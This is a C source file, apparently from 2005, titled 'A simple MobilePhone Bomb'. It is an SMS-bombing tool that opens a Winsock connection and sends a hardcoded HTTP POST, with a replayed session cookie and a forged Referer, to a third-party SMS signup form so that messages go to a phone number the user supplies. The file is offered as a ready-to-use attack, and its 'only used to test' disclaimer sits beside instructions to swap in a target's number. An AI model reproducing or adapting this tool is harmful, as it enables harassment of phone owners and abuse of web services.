/*******************************************************************************
* Name: A simple MobilePhone Bomb
* Copyright: [E.S.T]
* Author: Netxfly [E.S.T]
* Date: 01-12-05 16:41
* Description: Only used to test, Don't Attrack Others.
* Compiled On: Dev c++ 4.9.9.2
* Note:
* If you Use Vc++,Please move The Comment of #pragma comment
* Change 13613599999 to other which your want to test
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
//#pragma comment(lib, "ws2_32.lib")
const char* HostName="www.abandon.cn"; //HostName
//Declaration The Data That we will submiet
const char* pData = "POST /smslt.asp HTTP/1.1\r\n"
"Accept: */*\r\n"
"Referer:
http://love.51768.net/site/AD/300x300_f3.htm?UserID=abandon\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)\r\n"
"Host: love.51768.net\r\n"
"Content-Length: 137\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: ASPSESSIONIDQQQSTCCA=IJJAHIOCOCOIGBPLLGNKIHGE\r\n"
"myUserID=abandon&ActionNext=MobileConfirm&url=http%3A%2F%2Fwww.abandon.cn%2Findex.htm&MobilePhone=13613599999&B1=%C1%A2%BC%B4%CC%E5%D1%E9\r\n";
//End of //Declaration The Data That we will submiet
//Main function
int main(int argc, char *argv[])
{
WSADATA wsa;
struct hostent *pHostent = NULL;
SOCKET server = INVALID_SOCKET;
struct sockaddr_in ServerAddr;
int ret = 0;
char Buffer[65535] = {'0'};
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) //Init Socket
{
printf("Init Socket Failure...\n");
goto CleanUP;
}
server = socket(AF_INET, SOCK_STREAM, 0); //Create Socket Handle
if (server == INVALID_SOCKET)
{
printf("Create Socket Failure...\n");
goto CleanUP;
}
pHostent = gethostbyname(HostName); //Get Sms Host Name
if (pHostent == NULL)
{
printf("The Host Name is Invalid...\n");
goto CleanUP;
}
//Fill Sockaddr_in Structure
ServerAddr.sin_family = AF_INET;
memcpy(&ServerAddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
ServerAddr.sin_port = htons(80);
//Connect to remote SMS Host
ret = connect(server, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr));
if (ret == SOCKET_ERROR)
{
printf("Connect Remote Host Failed...\n");
goto CleanUP;
}
printf("Connect to %s...\n", HostName);
//Send Data to SMS Server
ret = send(server, pData, strlen(pData), 0);
if (ret == SOCKET_ERROR)
{
printf("Send Data to SMS Host Failure...\n");
goto CleanUP;
}
else
{
printf("Send Data Successful!\n");
}
//Receive Data From SMS Server
ret = recv(server, Buffer, sizeof(Buffer), 0);
if (ret == SOCKET_ERROR)
{
printf("Receive Data From SMS Host Failure...\n");
goto CleanUP;
}
else
{
printf("%d\n",ret);
Buffer[ret] = '\0';
}
printf("Recv:%s\n",Buffer);
CleanUP:
if (server != INVALID_SOCKET)
{
closesocket(server); //Close Socket Handle
}
WSACleanup(); //Cleanup Winsock
return 0;
}
//End of Main Function